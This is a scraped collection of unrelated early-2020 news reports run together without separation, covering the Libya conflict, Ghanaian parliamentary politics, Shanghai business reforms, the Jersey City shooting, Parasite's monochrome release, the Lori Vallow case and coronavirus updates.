Getty Protests against Turkey sending forces to Libya AFP via Getty Protests against Turkey sending forces to Libya AFP via Getty Protests against Turkey sending forces to Libya AFP via Getty Protests against Turkey sending forces to Libya Reuters Camels are often imported to Libya from Sudan, along with goats, and camel meat is widely eaten. Tripolis port, which is close to the city centre, was shelled on Tuesday by forces loyal to east Libya-based commander Khalifa Haftar, who has been waging an offensive to take the capital for more than 10 months. He has been battling forces aligned with the internationally recognised government, which is based in Tripoli. Recommended Libya peace talks on brink of collapse after deadly attack on seaport The city has seen several rounds of fighting since Libyas former ruler Muammar Gaddafi was overthrown in a Nato-backed uprising in 2011. The conflict has caused a sharp decline in living standards in the oil-rich nation, including power cuts and fuel shortages. The camels would normally have been driven to Zawiya in trucks, but none were available, so the owner decided to make them walk for fear that the port would come under renewed fire. As the camels were being herded along the road, some onlookers made fun of the government, saying it was bringing in camels as a substitute form of transport because of the lack of petrol. Information Minister and Member of Parliament for Ofoase-Ayerebi constituency, Kojo Oppong Nkrumah, has said that the minority's decision for staging a walkout in parliament duriing President Akufo-Addo's SoNA presentation yesterday was a disrespectful afterthought. According to him, they must have realized the shameful act and will want to justify their unjustifiable act. Speaking in an interview on Peace FM's 6PM News bulletin, he explained that the minority as a sign of democracy should have respected their constituents who voted for them. "They have not only disrespected Parliament and the President, they have also disrespected the people who voted for them and on whose mandate they sit in parliament," he said. Asked whether they will be able to take part in the debate on the floor of parliament on the SoNA after their boycott, he disclosed that how will they able to take part in the discussion after they have left the chamber and did not listen to the president. "Look, they are even confused and feeling ashamed for their dastardly act," he added. The Minority in Parliament on Thursday dramatically boycotted this years State of The Nation Address [SONA] without giving any tangible reason. The Minority organized a press conference addressed by the Minority Leader, Haruna Iddrisu in Parliament to explain their action. According to them since becoming President of our republic, Nana Addo Dankwa Akufo-Addo has conducted the affairs of state with the kind of "tyranny, despotism and authoritarianism" that frightens many objective observers. "We have in the face of extreme provocation exercised restraint and urged the President to depart from his perilous path that puts the democracy of our country at great risk. "Sadly, matters are totally out of control. The democracy we all toiled and sacrificed to establish is now threatened by the highhandedness of President Akufo-Addo. The man who in opposition styled himself as a champion democrat has turned out to be a nightmare and an existential threat to our fledgling democracy," a portion of their statement stated. Source: Isaac Kwame Owusu/Peacefmonline.com/[email protected] Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video We challenged resident Bon Appetit super taster Chris Morocco to recreate Madhur Jaffrey's chicken tikka masala recipe using every sense he has other than sight. Was he up to the challenge? As a bonus, we're joined by the legend herself, Madhur, to review Chris's reverse engineered dish. Shanghai outlines business center target By:Huang Yixuan | From:SHINE | 2020-02-21 10:47 Shanghai has launched 36 measure to deepen its development as an international first-class business environment. A plan was released on the city government website on Wednesday that clarifies the target of developing Shanghai as one of the open economic centers most convenient for trade and investment, with the highest administrative efficiency, the most standardized government services, and the most mature system of law. The city will draw on experience from home and abroad and implement a number of breakthrough and leading reform measures in two to three years. Greater emphasis will be laid on the one-stop online government services platform. For instance, the city will promote the application of e-certificates, e-seals and e-files. No fewer than 500 kinds of electronic certificates and licenses will be added, covering most certificates, licenses, approval files and appraisal reports issued by the Party and city government authorities. The collected e-certificates can be applied to all government service affairs. To make the business environment more competitive at international level, the city will make it more convenient for enterprises to gain access to electricity. The time required for applying for low-voltage power projects will be shortened to 10 days with only two procedures. For those applying for 10-kilovoltpower, the city will try to shorten the approval time for road digging to less than 15 working days to achieve a 20-percent cut in the time to access electricity. It will take just two to three days to start a business in Shanghai as applicants can complete all administrative affairs through the "one window" platform, including applying for a business license, official seal, tax control equipment and invoice, as well as employment insurance registration and provident fund registration. The city will promote the convenience of paying taxes and reduce the burden on enterprises as well. Businesses will be able to get tax refunds via online platforms with no need for anything on paper. In addition, the social security fund and provident fund payment processes will be further optimized, and the time for paying taxes reduced by 10 percent to under 100 hours. Shanghai will also build a unified platform to promote investment and offer services to enterprises, and provide investors with all-round and full-coverage services for attracting investment. The city will speed up construction of the special window for foreign issues on the one-stop online government service platform, offering services in Chinese and English. As for foreign individuals, "single windows" shall be set up at municipal and district level to deal with affairs related to foreigners' employment and residence. For qualified foreign high-end talent, such affairs will be completed within seven working days with one-stop services. Newly released video from a fatal shootout at a kosher grocery store in Jersey City shows the moment one of the shooters exited the van he drove there, took three steps and raised a long gun before entering the market, sending passersby scattering away from the shop. The seven video files obtained Thursday through the state's open records law span roughly three hours from the Dec. 10 barrage. Three people at the market, plus the two shooters, died. The attackers also killed a Jersey City police detective earlier that day, according to authorities. Authorities identified the attackers as David Anderson and Francine Graham and said they were fueled by a hatred of Jewish people and law enforcement. Authorities had said Anderson exited the white rental van they drove to the scene carrying an AR-15 style weapon, while Graham carried a 12-gauge shotgun into the shop. The video shows police arrived at the market less than two minutes after the shooters exited the van. One video capturing part of the shootout shows a Jersey City police officer firing his pistol toward the market from the window of a Catholic school across the street. The officer is seen reloading his weapon as numerous volleys of gunfire are heard. I think he's down. No he's still moving," the unidentified officer is heard saying. The officer moves past rows of small desks from one classroom, past lockers and into another before he shoots out of the window, which had been decorated with a paper cutout of an angel. Schools in Jersey City had been locked down that day. Another video shows a police vehicle smashing into the store front nearly three hours after Anderson and Graham arrived. The Associated Press obtained the video Thursday from the New Jersey attorney general through the states open records law. State and federal law enforcement officials said Anderson and Graham expressed hatred of Jews and law enforcement in notes left at the grocery shooting scene and in online posts. In this Dec. 10, 2019 image made from newly released video provided by the Jersey City Police Department via the New Jersey Attorney General's Office, a Jersey City police officer fires his weapon from the window of a Catholic school during a fierce gun battle in Jersey City. On Dec. 10, attackers David Anderson and Francine Graham stormed a Kosher grocery store in Jersey City, killing three people in the market before being killed by police. AP Anderson, 47, and Graham, 50, shot and killed Jersey City Detective Joseph Seals in a chance meeting in a cemetery, then drove to the market and killed Mindel Ferencz, 31, who owned the store with her husband; Moshe Deutsch, 24, a rabbinical student from Brooklyn who was shopping there; and store employee Douglas Miguel Rodriguez, authorities said. Rodriguez held the back door open for a wounded customer to escape before he was shot, authorities said earlier. Five weapons and hundreds of rounds of ammunition were found in the store afterward. Investigators also found a bomb in the couples van that could have sprayed shrapnel fragments. The van also contained materials that could have made a second bomb, he said. Its not known for certain what prompted the confrontation between Seals and the shooters. Barricaded in the kosher store, Anderson and Graham were killed after a lengthy gun battle with the police that sent the sound of gunfire booming for hours through the neighborhood in New Jerseys second-largest city. Investigators found among Andersons social media posts a reference to Jews as imposters who inhabited synagogues of Satan. Anderson received about $560 per month as a military veteran and may have sold property and a van to make money, officials said, but investigators have found no evidence he received outside assistance to purchase weapons or bomb-making materials. Share this article Whatsapp Facebook Twitter Linkedin (Agence France-Presse) Seoul, South Korea Fri, February 21, 2020 13:08 691 7f440ff09e92db75a02bbad2065cae23 2 Entertainment parasite,Bong-Joon-Ho,South-Korea,film Free Watching a black-and-white re-release of his multi-Oscar-winning movie Parasite will give viewers a "different" and "strange" experience, director Bong Joon-ho said Wednesday ahead of the new version opening next week. The director has always had a fondness for monochrome films, saying they give viewers a more intimate visual experience. "When the colors are gone, you can focus more on the actors' facial expressions and their eyes" and nuanced details, Bong told reporters in Seoul after his triumphant return from the United States. The film's historic Best Picture Oscar -- the first ever for a non-English-language movie - and three other statuettes, Best Director, Best International Feature and Best Original Screenplay, have created huge excitement in his home country, whose cultural output has gained popularity around the world. But Bong said he hoped Parasite would be remembered for its content as much as its accolades. "I understand that the film will be remembered as a historic affair inevitably, but I hope the movie can be remembered as a film itself," he said. The movie is a dark satire tale about the widening gap between rich and poor, following a poor family infiltrating a wealthy household. All unemployed at the start of the story, the poor family members live in a dingy, roach-infested basement flat whose damp odor clings to them beyond its confines. Read also: South Korea's 'Parasite' wins Oscar for best international feature film 'More real' The black-and-white version, which Bong created along with cinematographer Hong Kyung-pyo, is set to be released in South Korean theaters next week, becoming the director's second film to be rendered into monochrome after his 2009 thriller Mother. It was shown at an international film festival last month, when Bong said a viewer told him: "The black-and-white version makes the odor in the film feel more real." "I've always admired classical movies -- there used to be a time period where all movies were made in black-and-white," he said. "I've been curious about what the movie would have looked like if I were living in the 1930s." Distributors had mounted an intense promotional campaign ahead of the Academy Awards, Bong said, involving at least 600 media interviews and 100 question-and-answer sessions -- at one point giving actor Song Kang-ho nosebleeds from exhaustion. A retired FBI agent has explained authorities may have taken so long to arrest Lori Vallow for the disappearance of her children because they might be building a bigger case against her that addresses the suspicious deaths of other people in her circle and her apparent fascination with Doomsday culture. On Friday, after Vallow was arrested in Kauai on an arrest warrant issued by authorities in Idaho, questions surfaced over why it had taken the police so long to take her into custody and what would happen next. Vallow's two children, JJ, seven, and Tylee, 17, have not been seen since September. She fled to Hawaii with her new husband, Chad Daybell, after they vanished and has ignored judge's orders and pleas from the kids' extended family to produce them. As officers prepared to take Vallow away in a patrol her, her Doomsday author husband Chad Daybell (right) watched helplessly On Thursday, she was finally taken into custody on a charge of disobeying the court order, desertion and nonsupport of dependent children. Frank Montoya Jr, who retired from the FBI in 2016 after serving since 1991, explained to DailyMail.com on Friday morning that the authorities in Idaho had been forced to hold off until there was any evidence of a crime which, in Vallow's case, there has not been, because both children remain completely unaccounted for. 'What's frustrating is the kids are missing. Lori in her mugshot on Thursday 'When the parent herself is not cooperating.. it isn't enough to arrest them. 'What's the charge? If it's just child endangerment and she refuses to talk, how do you prove the children have been harmed or more tragically if they're dead? You can't. 'A judge and jury have no choice but to say there's no evidence to hold her in cases like this you'll hugely dependent,' he said. Montoya went on to explain what will likely happen now to Vallow. He also speculated over the various strands of investigation the police in Idaho now have to look at. 'It's a combination of things that the kids are still missing and the fact she's in Hawaii and they want to talk to her in Idaho. She can either waive or contest - if she contests it then there'll be a hearing, Idaho authorities will present their case. There's little chance that the judge won't extradite. '[But] there's a number of things they're working through here; the death of her husband, Daybell's former wife, for instance. They're exhuming her body to perform an autopsy. 'He has not been arrested, interestingly. Will he accompany her to Idaho or stay in Hawaii or move on?' He added that she likely will not be quizzed over the whereabouts of Lori and JJ until she is back in Idaho and that even then, police may want to hold her in a cell for as long as possible to try to break any resolve she may have. 'They'll attempt to talk to her - of course she can invoke her right to silence. Lori failed to comply with a court order to produce her children before authorities on January 30 in Madison County. Joshua 'JJ' Vallow, seven, and Tylee Ryan, 17, were last seen in Idaho in September in Rexburg, Idaho and authorities are still searching for them 'They have leverage - even though there's a lot of craziness, suspicious behavior and strange stuff, this is not a hardened criminal. She's never spent a few nights in jail. 'What's the prospect of going to jail for 10-14 years. It remains to be seen whether she will cooperate. Retired FBI agent Frank Montoya Jr 'After spending time in a jail in Kauai, they want to maybe bring her to Idaho and let her sit in an Idaho jail. 'My guess is that they'll wait until they gather back to Idaho,' he said. He added it will likely not emerge what has happened until her arrest warrant is unsealed. 'This is just another step - this is just another step,' he said. Another theory he says police may have been worried about is that Vallow and Daybell were obsessed with the Doomsday culture and resurrection. 'The backup in all this is her peculiar ways... there's a bit of a time crunch. 'People like this - what exactly is their intent? Part of these end of the world scenarios is that everyone gets resurrected. Are her kids the test case of that? Until she starts talking who knows... maybe this is the step to get her to start talking,' he said. The kids vanished in September but the mysterious web of death and Doomsday theories go back months earlier. Lori's estranged husband Charles Vallow (pictured together) was shot dead by her brother Alex Cox in Arizona on July 11, 2019 Chad's wife Tammy Daybell (pictured together) was found dead under mysterious circumstances in October, just two weeks before he married Lori In July, Lori's brother, Alex Cox, shot her then estranged husband, Charles Vallow, dead in her home in Arizona. Lori's brother Alex Cox died under mysterious circumstances on December 12 At the time, they story they gave police was that he was acting in self-defense and that Charles had become angry and out of control. Alex was not charged. Tylee was there at the time. In September, Lori moved to Rexburg, Idaho. Late September was when JJ and Tylee were last seen alive. In mid October, Chad's wife of more than 20 years, Tammy, died mysteriously. He and Lori got married on a beach in Hawaii two weeks later. In late November, police in Idaho performed a wellness check on JJ after his concerned relatives contacted them. Lori said JJ was out of state, being cared for by other relatives. By the time police realized that was untrue and went back to the house, she had fled. Then, in December, Lori's brother Alex died in mysterious circumstances. Throughout January and February, police increased their efforts to find the kids but Lori refused to cooperate. Rexburg police officers said they were 'astonished' by her refusal to cooperate. A woman arrived from the Iranian holy city of Qom where several infections and deaths were reported this week. Mainland China has reported 118 new deaths from the coronavirus outbreak , pushing the number of deaths nationwide to at least 2,236. Beijing also reported 1,109 new confirmed cases of the disease during the same period, sharply up from 349 cases the previous day, reversing three days of decline. At least 631 of the new cases were from the epicentre of the epidemic in Hubei, including 220 cases from the provinces prison system. Most of the latest deaths were also from the province. The latest number of infections nationwide has now reached 75,685. Here are the latest updates: Friday, February 21 First Italian patient dies of coronavirus A patient in the northern city of Padua has died after being infected with the coronavirus, becoming the first Italian victim of the disease, Ansa news agency reported. The dead man was aged 78, it said. A police car is seen in the village of Codogno after officials told residents to stay home and suspend public activities as 14 cases of coronavirus are confirmed in northern Italy in the province of Lodi, Italy, February 21, 2020 [Reuters] Kuwait stops all flights to and from Iran Kuwaits civil aviation authority has decided to stop all flights to and from Iran amid fears from coronavirus outbreak, the state news agency said, citing an official statement. Kuwaiti nationals arriving from Iran will be subjected to quarantine, it said, adding that residents or those with entry permission who were in Iran during the past two weeks will be barred. Moreover, any foreign travellers coming from Iran will also be denied entry. Zelenskyy criticises people that attacked Ukrainians evacuated from Wuhan Ukrainian President Volodymyr Zelenskyy had harsh words for an angry mob who smashed windows on buses carrying dozens of Ukrainians evacuated from China over the novel coronavirus outbreak. We keep saying that Ukraine is Europe. But yesterday it seemed like we were Europe in the Middle Ages, Zelenskyy said in Kyiv. Fearing the passengers would bring the first deadly case of the novel coronavirus to Ukraine, hundreds of people some armed with metal rods and rocks turned out to protest their return on Thursday. Public spaces closed in 10 Italian towns over coronavirus fears Authorities in northern Italy ordered the closure of schools, bars and other public spaces in 10 towns following a flurry of new coronavirus cases. Five doctors and nine other people tested positive for the virus in Lombardy, after apparently frequenting the same bar and group of friends, with two other cases in Veneto, authorities said at a press conference. Over 50,000 people have been asked to stay at home in the areas concerned, while all public activities such as carnival celebrations, church masses and sporting events have been banned for up to a week. Drug testing to resume in China after coronavirus outbreak The China Anti-Doping Agency (CHINADA) will resume drug testing following a temporary suspension due to the coronavirus, the World Anti-Doping Agency (WADA) said. Drug testing programs on mainland China were halted on February 3 following the outbreak of the virus which has killed more than 2,000 people in China and infected thousands globally. WADA said drug testing would resume this week on a phased basis with priority given to testing elite level athletes from higher-risk categories and sports. Iraq, Kuwait brace for coronavirus Iraq and Kuwait, which share borders with Iran, were on high alert for a potential outbreak after banning travel to and from the Islamic Republic although they have not confirmed any cases domestically. The outbreak in Iran has raised concerns, especially since many of the coronavirus cases involved residents of Qom, a popular destination for Kuwaiti and Iraqi Shiites. Iraqs top Shia leader Grand Ayatollah Ali al-Sistani urged authorities to be ready to stem any outbreak. The scale of preparations should match that of the threat, he said in comments delivered by a representative. We call on relevant authorities to be up to the level of responsibility. Only three US states can test for coronavirus public lab group California, Nebraska and Illinois are the only US states that can currently test for coronavirus, the Association of Public Health Laboratories (APHL) told Reuters News Agency. The US Centers for Disease Control and Prevention (CDC) last week said some of the testing kits sent to US states and at least 30 countries produced inconclusive results due to a flawed component and the CDC planned to send replacement materials to make the kits work Sixteen cases in Northern Italy reported in one day An outbreak of coronavirus in northern Italy worsened, with officials announcing 14 confirmed cases in the wealthy region of Lombardy, while two cases were reported in the adjacent region of Veneto. Just hours after revealing that six people had come down with the virus in the first known cases of local transmission in Italy, officials said a further eight had tested positive for the disease, including five health workers. Qatar Airways depart to China carrying medical supplies: QNA Five Qatar Airways Cargo freighters departed to China today carrying approximately 300 tonnes of medical supplies donated by the airline to support coronavirus relief efforts, QNA news agency reported. The five flights departed one after the other bound for Beijing, Shanghai, and Guangzhou as part of Qatar Airwayss voluntary offer of free air cargo transportation for medical relief aid organised by Chinese embassies and consulates worldwide to fight the coronavirus outbreak. Coronavirus to drag oil below $60 this year, weighing on Gulf exporters IIF The coronavirus outbreak may curb demand for oil in China and other Asian countries, depressing oil prices further to as low as $57 a barrel and clouding growth prospects across the Middle East, the Institute of International Finance (IIF) said. Before the coronavirus, we were assuming that oil prices would average $60 a barrel this year, compared to $64 last year, said Garbis Iradian, chief economist for the Middle East and North Africa (MENA) at the finance industry body. UAE records two new coronavirus cases, total number reaches 11 The United Arab Emirates (UAE) said it registered two new coronavirus cases, bringing the total number of people diagnosed with the virus in the Gulf Arab state to 11. The new cases in the UAE were detected in a 34-year-old Filipino national and a 39-year-old Bangladeshi national who had contact with a Chinese national who had been diagnosed with the virus, the health ministry said in a statement. It said the two were in stable condition. Ukrainian health minister joins coronavirus evacuees in quarantine Ukraines health minister joined evacuees from China in quarantine in a sanatorium on Friday in a show of solidarity after fears over the possible spread of the coronavirus led to clashes between protesters and police. Posting a selfie on her Facebook page, Zoryana Skaletska said she would spend two weeks in a room there and would carry out her government duties by phone and Skype. Everyone inside the sanatorium was feeling well and showed no signs of infection, she said. World must act fast to contain coronavirus, says WHOs Tedros The window of opportunity to contain the wider international spread of the epidemic of the new coronavirus disease is closing, the World Health Organization (WHO) warned on Friday, and countries must act fast if they are to control it. Asked whether the outbreak is at a tipping point after new cases and deaths from COVID-19 were reported in Iran and Lebanon, the WHOs director-general, Tedros Adhanom Ghebreyesus, said he still believed the virus could be contained, but added: The window of opportunity is narrowing, so we need to act quickly before it closes completely. Chinas Hubei province revises Feb 19 new cases tally to 775, from 349 previously Chinas Hubei province, the epicentre of the coronavirus outbreak, on Friday revised the number of new cases it reported on February 19 to 775, from 349 previously. Earlier in the day, provincial authorities said they would add back some cases to their tally of the disease, after they adjusted their methodology to count only cases that were detected with genetic tests, rather than with CT scans. Officials later concluded on Friday that it was a mistake to have removed cases that were already counted. Hubei Party secretary Ying Yong on Friday ordered the cases to be added back to the tally and said that whoever removed them would be held responsible, Tu Yuanchao, a senior official at Hubeis health commission said. WHO chief concerned about cases outside China WHO chief Ghebreyesus in Geneva said he was concerned about cases outside China with no epidemiological link. Although the total number of COVID-19 cases outside of China remains relatively small, we are concerned about the number of cases with no clear epidemiological link, such as travel history to China or contact with a confirmed case, he told reporters during a media briefing. The WHO chief said he was concerned about the potential for COVID-19 to spread in countries with weaker health systems. "Although the total number of #COVID19 cases outside remains relatively small, we are concerned about the number of cases with no clear epidemiological link, such as travel history to or contact with a confirmed case"-@DrTedros #coronavirus World Health Organization (WHO) (@WHO) February 21, 2020 Six coronavirus cases discovered in north Italy, hundreds to be tested Six people have tested positive in Italy for coronavirus, the northern Lombardy region said, in the first known cases of local transmission of the potentially deadly illness in the country. Officials told residents from three small towns some 60km (40 miles) southeast of Italys financial capital Milan, to stay at home as doctors tested hundreds of people who might have come into contact with the six coronavirus sufferers. None of the six was believed to have visited China. First case of coronavirus confirmed in Lebanon The first case of coronavirus was confirmed in Lebanon after a woman arriving from Iran was found to be positive. There were also two other suspected cases. We confirmed the first case today, Lebanese Health Minister Hassan Hamad said at a news conference in Beirut. The woman arrived in Lebanon from the Iranian holy city of Qom, where several infections and deaths were reported this week. Japan govt faces questions over coronavirus handling Japan faced growing questions about whether it was doing enough to stop the spread of the coronavirus. More than 400 Japanese and foreign passengers were set to disembark from the virus-hit Diamond Princess cruise ship near Tokyo after weeks aboard in quarantine, despite reports of new cases coming in from around Japan. The growing number of cases across the country particularly the high rate of infection on the cruise liner have stoked concerns about Japans quarantine practices. Chief Cabinet Secretary Yoshihide Suga faced questions about why one of the passengers who died an 84-year-old woman was not tested or transferred to a hospital until a week after she developed a fever. The woman was removed from the ship on the 12th after the fever continued for days, he said. A decision was made not to wait for the test results before moving her to hospital to protect the health of those remaining on the ship, he said. After clashes, Ukraine blames disinformation for spreading virus panic Ukraines Prime Minister Oleksiy Honcharuk blamed an information war being waged on the country for spreading panic and mistrust over the coronavirus, a day after the arrival of evacuees from China sparked clashes outside a sanatorium. Speaking to Parliament, Honcharuk said misinformation was being spread from within and outside Ukraine but did not elaborate. The authorities are trying to find the source of bogus emails sent this week on behalf of the health ministry erroneously declaring there had been confirmed coronavirus cases in Ukraine, when so far there have been none. In another example, Honcharuk cited an incident of Russian officials asking a wagon-load of passengers travelling on a train from Kyiv to Moscow to disembark after a Chinese woman with fever was found to be on board. Police arrested 24 people in clashes with the residents of a town in central Ukraine on Thursday, who feared they would be infected by Ukrainians who had been evacuated from Chinas Hubei province. Premier Li urges increased mask production amid outbreak Chinese Premier Li Keqiang urged businesses to increase the output of protective products, especially masks, to support the nationwide campaign against the coronavirus. Li visited a private medical products manufacturer in Beijing that is producing 300,000 masks a day, Chinas Central Television (CCTV) reported. The government said mask factories all over the country are working at full capacity and are making nearly 20 million masks a day, CCTV said. Output will sharply increase with more businesses investing in production lines, authorities said. Iran reports two new deaths, 13 new cases Irans health ministry reported two more deaths among 13 new cases of coronavirus in the Islamic Republic, bringing the total number of deaths to four and infections to 18. Thirteen new cases have been confirmed, ministry spokesman Kianoush Jahanpour said on Twitter. Unfortunately two of them have lost their lives. Israel confirms first case of new coronavirus An Israeli woman who returned to Israel from a coronavirus-hit cruise ship near Tokyo tested positive upon return to her home country, Israels health ministry confirmed. A health ministry statement said: In the course of testing conducted by the Health Ministrys central laboratory, one of the passengers who returned from the ship in Japan was found to be positive. The laboratory is pursuing confirmation of the finding. The remaining returning passengers tested negative today. The patient is in quarantine and under supervision and this is not an infection that took place in Israel. China to retally virus count to clear doubt around data China said it would reinsert previously removed cases from its coronavirus tally in the province at the centre of the epidemic after an earlier revision created doubt around the data. The decision is the latest in a string of changes to the counting method used in Hubei over the past nine days revisions that have further complicated efforts to track the spread of the illness. Last week, Chinese health officials said patients from the central province who had been diagnosed via clinical methods including lung imaging would be added to the count, on top of those confirmed by lab tests. Plane lands with Canadians evacuated from Japan virus ship A chartered plane carrying more than 200 Canadians evacuated from the coronavirus-quarantined Diamond Princess cruise ship landed at a military base in Ontario province. All the passengers who arrived at Canadian Forces Base Trenton, 200km (120 miles) southwest of Ottawa, had tested negative for COVID-19, CBC reported. They will, however, be quarantined for a further 14 days at the Nav Centre in Cornwall, Ontario, a hotel and conference centre which has previously been used by the government as an emergency shelter, the national broadcaster said. Two more Italian residents test positive for coronavirus Two more Italian residents tested positive for coronavirus, Lombardy region said, shortly after the first case of local transmission of the potentially deadly illness was confirmed in Italy. The wife and a close friend of the initial patient had the virus and were now in quarantine, Giulio Gallera, a member of the local government, said in a statement. The initial patient fell ill after meeting a friend who had recently returned from China. N Korea to cancel April marathon over coronavirus fears North Korea called off its Pyongyang Marathon scheduled for April after imposing a border lockdown and travel curbs to prevent a coronavirus outbreak, a Western tour company said. In an online statement, Young Pioneer Tours said: We have received confirmation from our travel partners in North Korea that the Pyongyang Marathon held in April has been cancelled due to the current borders of the DPRK being closed. But Pyongyangs Autumn Marathon set for September is still scheduled to go ahead, added the company, which is one of several foreign operators that run tours to North Korea. Kyrgyzstan halts issuance of new visas to Chinese nationals Kyrgyzstan suspended the issuance of new visas to Chinese nationals because of the coronavirus outbreak in the neighbouring country, Kyrgyz news agency Akipress quoted deputy foreign minister Nurlan Abdrakhmanov as saying. Chinese nationals who already have Kyrgyz visas are still allowed to enter the country, Abdrakhmanov said. Young Chinese doctor dies of coronavirus A 29-year-old doctor at the epicentre of Chinas new coronavirus outbreak died from the disease, one of the youngest known fatalities of the epidemic and the latest among medical workers. Peng Yinhua died on Thursday after becoming infected while working at Wuhans Jiangxia district Peoples No 1 Hospital, official news agency Xinhua reported. Ukraine minister joins China evacuees in quarantine after clashes Ukraines health minister said she will spend two weeks in quarantine with evacuees from coronavirus-hit China after protesters clashed with police and threw stones at returnees over infection fears. Kyivs efforts to treat 45 nationals and 27 foreigners, mostly from Latin America, in the central Poltava region sparked unrest on Thursday as residents blocked roads and hurled stones at buses carrying the evacuees. I will spend the next 14 days with them, in the same premises, under the same conditions, Health Minister Zoryana Skaletska said late on Thursday in a statement addressed to the residents of Novi Sanzhary. Read about the clashes here. China fires officials over spead of coronavirus in prisons China fired nearly a dozen prison and justice department officials across three provinces due to the emergence of coronavirus infections in prisons, state media reported. Shandong, Zhejiang and Hubei provinces, the latter of which is the epicentre of the ongoing outbreak, reported a total of 447 infections in prisons, according to the state-run tabloid Global Times. The paper described the infections as blind zones in Chinas fight against the coronavirus. South Koreas confirmed cases rise to 204 South Korea reported another 48 new cases of the virus, raising its total to 204. Passengers were allowed off the Diamond Princess, quarantined in Yokohama, last week. Some have now been found to have coronavirus symptoms [Takashi Aoyama/Getty Images] Italys Lombardy region confirms new coronavirus case An Italian national tested positive for the new coronavirus, a statement of the Lombardy region said. The 38-year old man was admitted to hospital in the northern town of Codogno and further medical tests are still under way, the region said. It would be the fourth case confirmed in Italy after two Chinese tourists and another Italian tested positive. China police handle 274 cases of price gouging, hoarding Chinas police handled 274 cases of illegal commercial practices such as price gouging and hoarding during the coronavirus outbreak, said an official with Chinas public security bureau. Li Jingsheng, the director of the public security administration at the Ministry of Public Security, also said they have dealt with a total of 1,787 cases of illegal wildlife trafficking during the outbreak. China has temporarily banned all wild animal trade, as the coronavirus is believed to have originated in a seafood market in Wuhan. Qatar accuses Saudis of hampering access to Gulf meet on coronavirus Qatar accused Saudi Arabia of allowing a protracted dispute to hinder Gulf Arab coordination over the coronavirus outbreak by denying the Qatari health minister timely access to a meeting of regional health ministers in Riyadh. Qatars foreign ministry said in a post on its official Twitter account that Saudi Arabia had only granted an entry permit to Public Health Minister Hanan al-Kuwari after the meeting at the Gulf Cooperation Council (GCC) General Secretariat on Wednesday had already started. We are surprised to see that Saudi is politicising a humanitarian sector, that requires close collaboration and coordination due to the urgency of the situation, the English-language statement issued on Thursday said. A security officer measures the temperature of a delivery worker at a residential compound in Beijing [Stringer/Reuters] Japan to let off last healthy cruise travellers, isolate rest Japans health minister said the last cruise ship passengers who tested negative for a new virus will leave the Diamond Princess on Friday after a much-criticised quarantine of the vessel ended. Health Minister Katsunobu Kato told a news conference the mass disembarkation into Japan of passengers from the ship is set to end on Friday, while dozens of foreign passengers are flying back to their home countries on flights chartered by their governments. Most crew members and other passengers who have not completed their 14-day quarantines because they had more recent contact with infected people are staying on the ship for now, but they will be transported to a government facility to be quarantined in isolation. Tokyo criticises suggestion that London could host 2020 Olympics Tokyo Governor Yuriko Koike said it was inappropriate for candidates in Londons mayoral election to propose their city host the 2020 Olympic Games if the coronavirus outbreak forces organisers to look for an alternative site. Shaun Bailey, the Conservative Party candidate for mayor of the British capital, said London would be ready to host the event if needed. The International Olympic Committee said the World Health Organization advised it that there was no case for contingency plans to cancel or relocate the Games from Tokyo. South Koreas K-League football team postpones matches South Koreas top professional football league said it had postponed next weeks opening home matches for Daegu FC and Pohang Steelers due to a surge of coronavirus cases in the southeastern region. After a meeting of league executives and representatives from the 12 clubs, the K-League said Daegus season opener against Gangwon FC on February 29 and Pohangs meeting with Busan IPark on March 1 would be played later in March or in June. We all recognise the gravity of the situation regarding COVID-19, K-League Secretary-General Han Woong-soo was quoted as saying by Yonhap. Iraq temporarily closes border with Iran Iraq banned border crossings by Iranian nationals for three days from Thursday amid fears of the coronavirus, Iraqs state news agency said on Thursday. The decision came after Iraqi Airways suspended flights to Iran. Two Iranians who tested positive on Wednesday for the disease have died, while three tested positive on Thursday, taking the total number of confirmed cases in Iran to five, the Iranian health ministry said. China: Earliest vaccine to be submitted for trials in late April The earliest vaccine for the coronavirus that has killed more than 2,000 in China alone will be submitted for clinical trials around late April, Chinas Vice Science and Technology Minister Xu Nanping said on Friday. Xu made the remarks during a press briefing. Zhou Qi, deputy secretary-general of the Chinese Academy of Sciences, also told reporters companies which have resumed operations should ensure proper ventilation and maintain a safe distance among workers. South Korea reports 52 new cases; Seoul bans rallies South Korean capital Seoul banned rallies in major downtown areas in efforts to fight the viral outbreak. The news comes as the country reports 52 new cases of infections, raising its total to 156, after declaring the southern city of Daegu a special zone following an explosion of infections. South Korea declares Daegu city as special management zone South Korea declared Daegu city as a special management zone following an explosion in new virus infections. On Thursday, Daegu reported 23 new cases which were traced to a church that a 61-year-old coronavirus patient had attended. South Korea currently has at least 82 cases of the infection. Health officials in Daegu spray disinfectant in front of a church [Daegu Metropolitan City Namgu/AFP] Australia reports two coronavirus cases from Diamond Princess Two evacuees from the Diamond Princess cruise ship docked in Yokohama, Japan tested positive for coronavirus in Australia, according to authorities. Australia on Thursday evacuated 170 citizens from the cruise ship owned by Carnival Corp, who had been confined to their cabins since February 3, when the vessel was quarantined at Yokohama, south of the capital, Tokyo. After arriving in Australias tropical north all passengers were screened and those complaining of being unwell were tested for coronavirus. They will spend the next 14 days in quarantine. Virus may end by end of March: Chinese diplomat Chinas Consulate General in Karachi, Pakistan said experts in China believe the peak of the epidemic (had) already arrived and it could be over by the end of March. I have seen that according to the experts in China, they are saying the peak of the epidemic has already arrived and it will come down no matter from the epicentre and across the whole of China, Li Bijian said. This will [be] coming down this week and next week and the epidemic maybe go over by the end of March, he added. Ukraine protesters clash with police over China evacuees Dozens of people clashed with police outside a hospital in central Ukraine over government plans to quarantine evacuees from coronavirus-hit China in the facility. Six buses with the evacuees arrived at the medical centre, accompanied by law enforcement officers, a video published by Ukrainian media showed. The policemen had to disperse the protesters to unblock a road that leads to the hospital and to create a cordon for the vehicles. WHO says no time for complacency as China virus cases fall A continued decline in the number of new cases of coronavirus infections in China is encouraging, the World Health Organization said but it is too early to know if this trend will continue. We are encouraged by this trend but this is no time for complacency, the WHOs Ghebreyesus told a briefing in Geneva. He noted that the number of coronavirus cases in the rest of world was very low compared inside China, but added: That may not stay the same for very long. China backs Pakistan decision not to evacuate students A Chinese diplomat backed Pakistans decision not to evacuate Pakistani students from the province at the centre of Chinas coronavirus outbreak, a day after parents confronted government ministers demanding their children be brought home. Pakistan ruled out bringing back more than 1,000 students in Hubei province and its capital Wuhan, where three-quarters 